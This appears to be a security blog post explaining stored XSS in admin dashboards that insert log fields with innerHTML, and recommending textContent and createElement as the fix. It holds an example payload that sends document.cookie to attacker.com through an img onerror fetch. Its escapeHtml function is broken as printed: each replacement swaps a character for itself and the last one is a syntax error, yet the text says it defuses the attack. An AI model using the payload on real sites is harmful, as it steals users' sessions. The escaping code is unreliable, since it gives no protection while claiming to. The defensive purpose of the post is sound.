Kelly Michels 7 min read Security

Stored XSS in Admin Dashboards

The innerHTML trap and how to escape it.

User-controlled data from logs and APIs flows into your dashboard via innerHTML, turning your admin interface into an attack surface. Here's how the vulnerability happens, why escaping alone isn't enough, and the DOM API fix that stops it cold.

The problem

Your admin dashboard shows a table of recent access logs: IP addresses, user agents, request paths. All of it scraped from server logs or API responses. You render it like this:

const row = `<tr><td>${ip}</td><td>${userAgent}</td></tr>`
tbody.innerHTML += row

An attacker sends a request with a user agent like:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

The log captures that string. When you render it via innerHTML, the browser parses it as HTML and executes the JavaScript. Your session cookie is gone — sent to the attacker's server. That's stored XSS: the malicious payload lives in your database (or logs), and every time someone views that page, it executes.

Why it happens

Three things align:

  1. You trust server data. "This came from the database / logs / an internal API, so it's safe." It's not. Logs capture whatever clients send — there's no sanitization barrier.
  2. innerHTML parses HTML. It's designed to. You give it a string, it interprets it as markup, and executes any scripts in the parsed tree.
  3. You display user-influenced fields without escaping. Even if you escape one field, you forget another, and the vulnerability is born.

The fix isn't "escape everything" — that's fragile and easy to miss. The fix is to stop using innerHTML for user data.

The fix: escape HTML entities

If you must use innerHTML, escape the data first:

function escapeHtml(text) {
  return String(text ?? '')
    .replace(/&/g, '&')
    .replace(/</g, '<')
    .replace(/>/g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''')
}

const row = `<tr><td>${escapeHtml(ip)}</td><td>${escapeHtml(userAgent)}</td></tr>`
tbody.innerHTML += row

Now <img src=x onerror=...> renders as literal text in the table, not as HTML. The attacker's payload is defused.

But escaping alone isn't enough

Escaping is a band-aid. The real problem: you're mixing data and markup in a string. One escaped field? You're good. But dashboards have dozens of fields, and humans miss. The admin-logs.html dashboard in this codebase did exactly that: escaped IPs and paths in the table, but forgot to escape organization names from the geolocation API response. One field unescaped = one vector open.

The real solution: stop building HTML as strings.

The real solution: use the DOM API

textContent and createElement don't parse HTML. They treat everything as text:

const row = document.createElement('tr')
const ipCell = document.createElement('td')
ipCell.textContent = ip  // Never parsed as HTML
const uaCell = document.createElement('td')
uaCell.textContent = userAgent  // Never parsed as HTML
row.appendChild(ipCell)
row.appendChild(uaCell)
tbody.appendChild(row)

No matter what the attacker sends, textContent treats it as plain text. <img src=x onerror=...> appears in the table as literal text. The vulnerability is impossible.

This is the approach used in the refactored admin-logs.html: build the table with createElement and textContent, only using innerHTML for safe content you control. The result: no stored XSS vector, and zero need to remember which fields to escape.

← Back to Blog